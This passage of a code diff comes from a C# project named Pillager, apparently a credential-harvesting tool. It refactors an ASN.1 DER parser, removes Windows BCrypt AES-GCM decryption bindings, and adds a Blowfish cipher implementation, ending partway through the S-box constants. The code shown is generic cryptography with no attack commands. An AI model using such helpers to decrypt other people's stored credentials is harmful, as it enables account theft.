|
||||
parsedData.objects.Add(new Asn1DerObject()
|
||||
parsedData.objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.Integer,
|
||||
Lenght = dataToParse[i + 1]
|
||||
|
@ -64,7 +63,7 @@ namespace Pillager.Helper
|
|||
i = i + 1 + parsedData.objects[parsedDataArray.Length - 1].Lenght;
|
||||
break;
|
||||
case Type.OctetString:
|
||||
parsedData.objects.Add(new Asn1DerObject()
|
||||
parsedData.objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.OctetString,
|
||||
Lenght = dataToParse[i + 1]
|
||||
|
@ -77,7 +76,7 @@ namespace Pillager.Helper
|
|||
i = i + 1 + parsedData.objects[parsedDataArrayTwo.Length - 1].Lenght;
|
||||
break;
|
||||
case Type.ObjectIdentifier:
|
||||
parsedData.objects.Add(new Asn1DerObject()
|
||||
parsedData.objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.ObjectIdentifier,
|
||||
Lenght = dataToParse[i + 1]
|
||||
|
@ -89,8 +88,6 @@ namespace Pillager.Helper
|
|||
parsedData.objects[parsedDataArrayThree.Length - 1].Data = data;
|
||||
i = i + 1 + parsedData.objects[parsedDataArrayThree.Length - 1].Lenght;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -102,58 +99,48 @@ namespace Pillager.Helper
|
|||
{
|
||||
public Asn1Der.Type Type { get; set; }
|
||||
public int Lenght { get; set; }
|
||||
public List<Asn1DerObject> objects { get; set; }
|
||||
public List<Asn1DerObject> objects { get; set; } = new List<Asn1DerObject>();
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public Asn1DerObject()
|
||||
{
|
||||
this.objects = new List<Asn1DerObject>();
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
StringBuilder str = new StringBuilder();
|
||||
StringBuilder data = new StringBuilder();
|
||||
switch (this.Type)
|
||||
switch (Type)
|
||||
{
|
||||
case Asn1Der.Type.Sequence:
|
||||
str.AppendLine("SEQUENCE {");
|
||||
break;
|
||||
case Asn1Der.Type.Integer:
|
||||
foreach (byte octet in this.Data)
|
||||
foreach (byte octet in Data)
|
||||
{
|
||||
//data.Append((int)octet);
|
||||
data.AppendFormat("{0:X2}", octet);
|
||||
}
|
||||
str.AppendLine("\tINTEGER " + data);
|
||||
data = new StringBuilder();
|
||||
break;
|
||||
case Asn1Der.Type.OctetString:
|
||||
|
||||
foreach (byte octet in this.Data)
|
||||
foreach (byte octet in Data)
|
||||
{
|
||||
data.AppendFormat("{0:X2}", octet);
|
||||
}
|
||||
str.AppendLine("\tOCTETSTRING " + data.ToString());
|
||||
data = new StringBuilder();
|
||||
str.AppendLine("\tOCTETSTRING " + data);
|
||||
break;
|
||||
case Asn1Der.Type.ObjectIdentifier:
|
||||
foreach (byte octet in this.Data)
|
||||
foreach (byte octet in Data)
|
||||
{
|
||||
data.AppendFormat("{0:X2}", octet);
|
||||
}
|
||||
str.AppendLine("\tOBJECTIDENTIFIER " + data.ToString());
|
||||
data = new StringBuilder();
|
||||
break;
|
||||
default:
|
||||
str.AppendLine("\tOBJECTIDENTIFIER " + data);
|
||||
break;
|
||||
}
|
||||
foreach (Asn1DerObject obj in this.objects)
|
||||
foreach (Asn1DerObject obj in objects)
|
||||
{
|
||||
str.Append(obj.ToString());
|
||||
str.Append(obj);
|
||||
}
|
||||
|
||||
if (this.Type.Equals(Asn1Der.Type.Sequence))
|
||||
if (Type.Equals(Asn1Der.Type.Sequence))
|
||||
{
|
||||
str.AppendLine("}");
|
||||
}
|
||||
|
|
|
@ -1,156 +0,0 @@
|
|||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
public static class BCrypt
|
||||
{
|
||||
public const uint ERROR_SUCCESS = 0x00000000;
|
||||
public const uint BCRYPT_PAD_PSS = 8;
|
||||
public const uint BCRYPT_PAD_OAEP = 4;
|
||||
|
||||
public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);
|
||||
|
||||
public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength";
|
||||
public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
|
||||
public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
|
||||
public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode";
|
||||
public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
|
||||
public static readonly string BCRYPT_AES_ALGORITHM = "AES";
|
||||
|
||||
public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
|
||||
|
||||
public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;
|
||||
public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;
|
||||
|
||||
public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string pszAlgId,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,
|
||||
uint dwFlags);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
|
||||
|
||||
[DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")]
|
||||
public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
|
||||
|
||||
[DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")]
|
||||
internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
|
||||
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptImportKey(IntPtr hAlgorithm,
|
||||
IntPtr hImportKey,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,
|
||||
out IntPtr phKey,
|
||||
IntPtr pbKeyObject,
|
||||
int cbKeyObject,
|
||||
byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)
|
||||
int cbInput,
|
||||
uint dwFlags);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptDestroyKey(IntPtr hKey);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
internal static extern uint BCryptDecrypt(IntPtr hKey,
|
||||
byte[] pbInput,
|
||||
int cbInput,
|
||||
ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
|
||||
byte[] pbIV,
|
||||
int cbIV,
|
||||
byte[] pbOutput,
|
||||
int cbOutput,
|
||||
ref int pcbResult,
|
||||
int dwFlags);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_PSS_PADDING_INFO
|
||||
{
|
||||
public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
|
||||
{
|
||||
this.pszAlgId = pszAlgId;
|
||||
this.cbSalt = cbSalt;
|
||||
}
|
||||
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string pszAlgId;
|
||||
public int cbSalt;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
|
||||
{
|
||||
public int cbSize;
|
||||
public int dwInfoVersion;
|
||||
public IntPtr pbNonce;
|
||||
public int cbNonce;
|
||||
public IntPtr pbAuthData;
|
||||
public int cbAuthData;
|
||||
public IntPtr pbTag;
|
||||
public int cbTag;
|
||||
public IntPtr pbMacContext;
|
||||
public int cbMacContext;
|
||||
public int cbAAD;
|
||||
public long cbData;
|
||||
public int dwFlags;
|
||||
|
||||
public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this()
|
||||
{
|
||||
dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
|
||||
cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
|
||||
|
||||
if (iv != null)
|
||||
{
|
||||
cbNonce = iv.Length;
|
||||
pbNonce = Marshal.AllocHGlobal(cbNonce);
|
||||
Marshal.Copy(iv, 0, pbNonce, cbNonce);
|
||||
}
|
||||
|
||||
if (aad != null)
|
||||
{
|
||||
cbAuthData = aad.Length;
|
||||
pbAuthData = Marshal.AllocHGlobal(cbAuthData);
|
||||
Marshal.Copy(aad, 0, pbAuthData, cbAuthData);
|
||||
}
|
||||
|
||||
if (tag != null)
|
||||
{
|
||||
cbTag = tag.Length;
|
||||
pbTag = Marshal.AllocHGlobal(cbTag);
|
||||
Marshal.Copy(tag, 0, pbTag, cbTag);
|
||||
|
||||
cbMacContext = tag.Length;
|
||||
pbMacContext = Marshal.AllocHGlobal(cbMacContext);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);
|
||||
if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);
|
||||
if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);
|
||||
if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_OAEP_PADDING_INFO
|
||||
{
|
||||
public BCRYPT_OAEP_PADDING_INFO(string alg)
|
||||
{
|
||||
pszAlgId = alg;
|
||||
pbLabel = IntPtr.Zero;
|
||||
cbLabel = 0;
|
||||
}
|
||||
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string pszAlgId;
|
||||
public IntPtr pbLabel;
|
||||
public int cbLabel;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,312 @@
|
|||
using System;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
class Blowfish
|
||||
{
|
||||
|
||||
public enum Endian { Little, Big }
|
||||
public static readonly int MinUserKeyLength = 1;
|
||||
public static readonly int MaxUserKeyLength = 56;
|
||||
public static readonly int BlockSize = 8;
|
||||
|
||||
private static readonly uint[] OriginPBox = {
|
||||
0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, 0xA4093822, 0x299F31D0,
|
||||
0x082EFA98, 0xEC4E6C89, 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C,
|
||||
0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, 0x9216D5D9, 0x8979FB1B
|
||||
};
|
||||
|
||||
private static readonly uint[,] OriginSBox = {
|
||||
{
|
||||
0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E,
|
||||
0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E,
|
||||
0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A,
|
||||
0x2BA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87931E, 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032,
|
||||
0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0,
|
||||
0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE,
|
||||
0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7,
|
||||
0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09,
|
||||
0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x402C7279, 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8,
|
||||
0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573,
|
||||
0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8,
|
||||
0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C,
|
||||
0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9,
|
||||
0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF,
|
||||
0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915,
|
||||
0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A
|
||||
},
|
||||
|
||||
{
|
||||
0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E,
|
||||
0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1,
|
||||
0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD,
|
||||
0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331,
|
||||
0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87,
|
||||
0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD,
|
||||
0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3,
|
||||
0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960,
|
||||
0x5223A708, 0xF71312B6, 0xEBADFE6E, 0xEAC31F66, 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84,
|
||||
0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E,
|
||||
0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281,
|
||||
0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73,
|
||||
0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250,
|
||||
0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061,
|
||||
0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC,
|
||||
0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7
|
||||
},
|
||||
|
||||
{
|
||||
0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840,
|
||||
0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB,
|
||||
0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B,
|
||||
0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B,
|
||||
0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, 0xA62A4A56, 0x3F3125F9, 0x5EF47E1C, 0x9029317C, 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC,
|
||||
0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115,
|
||||
0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E,
|
||||
0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B,
|
||||
0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C,
|
||||
0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE,
|
||||
0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61,
|
||||
0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C,
|
||||
0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169,
|
||||
0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62,
|
||||
0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC,
|
||||
0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0
|
||||
},
|
||||
|
||||
{
|
||||
0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4,
|
||||
0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22,
|
||||
0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59,
|
||||
0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C,
|
||||
0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD,
|
||||
0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F,
|
||||
0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166,
|
||||
0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47,
|
||||
0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048,
|
||||
0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7,
|
||||
